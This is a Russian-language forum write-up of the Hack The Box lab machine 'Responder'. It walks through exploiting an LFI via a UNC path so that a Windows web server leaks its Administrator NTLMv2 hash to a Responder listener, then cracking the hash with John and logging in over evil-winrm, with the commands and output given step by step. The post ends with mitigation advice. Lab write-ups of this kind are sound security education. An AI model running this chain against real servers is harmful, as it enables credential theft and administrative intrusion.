ОБСУЖДЕНИЕ Writeup 

HTB · Windows · Responder · LFI превращается в кражу NTLM

0 ответов 256
Автор темы
Responder это машина HTB. Разбор показывает, как LFI на Windows через UNC-путь превращается в кражу NTLM-хеша и далее в доступ администратора без отдельного этапа повышения привилегий.

Цепочка атаки

LFI -> UNC-путь -> перехват NTLM-хеша (Responder) -> offline-крак (John) -> доступ по WinRM

Recon

Полный скан портов.

Код:
sudo nmap -sC -sV -A -p- 10.129.48.93

Результат, два открытых порта.

Код:
80/tcp   open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (WinRM)

Порт 80 веб-приложение, точка входа. Порт 5985 WinRM, вероятный канал доступа после получения учетных данных.

Обращение по IP редиректит на http://unika.htb. Используется name-based virtual hosting, контент отдается только при корректном заголовке Host. Добавляем запись в /etc/hosts.

На сайте переключение языка идет через параметр index.php?page=french.html. Одна точка входа index.php подключает шаблоны через include() по значению параметра page. Значение не фильтруется, это LFI.

Уязвимость

Параметр page подставляется в include() без whitelist и без фильтрации path traversal. На Windows это опаснее, чем чтение файлов, из-за обработки UNC-путей.

UNC путь адресует сетевые ресурсы по SMB. При резолвинге такого пути Windows автоматически инициирует SMB подключение к указанному хосту и в рамках Single SignOn отправляет NTLM-аутентификацию учетной записи, под которой работает процесс.

Если передать в page значение //НАШ_IP/что-угодно, PHP передаст его в include(), Windows интерпретирует как UNC-путь и отправит на наш хост NTLM challenge/response аккаунта, от имени которого запущен Apache. Это свойство ОС, а не баг PHP. LFI здесь только триггер.
Дополнительная проблема. Веб-сервер запущен от имени Administrator, что нарушает принцип наименьших привилегий и повышает итоговый impact.

Эксплуатация

1. Запуск слушателя на атакующей машине.

Код:
sudo responder -I tun0

Интерфейс tun0 - VPN-туннель к лабе, входящий SMB приходит на него.

2. Триггер LFI через UNC-путь.

Код:
curl "http://unika.htb/index.php?page=//10.10.15.51/test"

10.10.15.51 IP атакующей машины в туннеле (ip a | grep tun0).

3. Перехват хеша в логе Responder.

Код:
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::RESPONDER:...

Хеш принадлежит Administrator, что подтверждает запуск веб-сервера с правами администратора.

4. крак NTLMv2 по словарю.

Код:
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Пароль восстанавливается мгновенно, это словарное значение из rockyou.txt.

5. Доступ по WinRM.

Код:
evil-winrm -i 10.129.48.93 -u Administrator -p '<восстановленный_пароль>'

Получен PowerShell с правами Administrator .

Рекомендации
  • Не передавать пользовательский ввод в include() и require() напрямую, использовать whitelist допустимых значений page.
  • Нормализовать ввод, отклонять ../, // и \\ до файловых операций.
  • Запускать веб-сервер под выделенной непривилегированной учетной записью, а не под Administrator.
  • Ограничить исходящий SMB (445/tcp) с серверов приложений.
  • Применять стойкие несловарные пароли и MFA для привилегированных учетных записей.

Выводы
  • LFI на Windows не ограничивается чтением файлов. Через UNC-путь это вектор кражи учетных данных, так как ОС сама инициирует SMB-аутентификацию.
  • Responder не взламывает NTLM, а принимает учетные данные, которые жертва отправляет автоматически. Это класс атак credential capture и relay.
  • Итоговый impact уязвимости определяется привилегиями учетной записи сервиса.
  • Read-only уязвимость в сочетании с сетевым мисконфигом по результату эквивалентна RCE с правами администратора.
 
  • Нравится
Реакции: Сергей Попов
1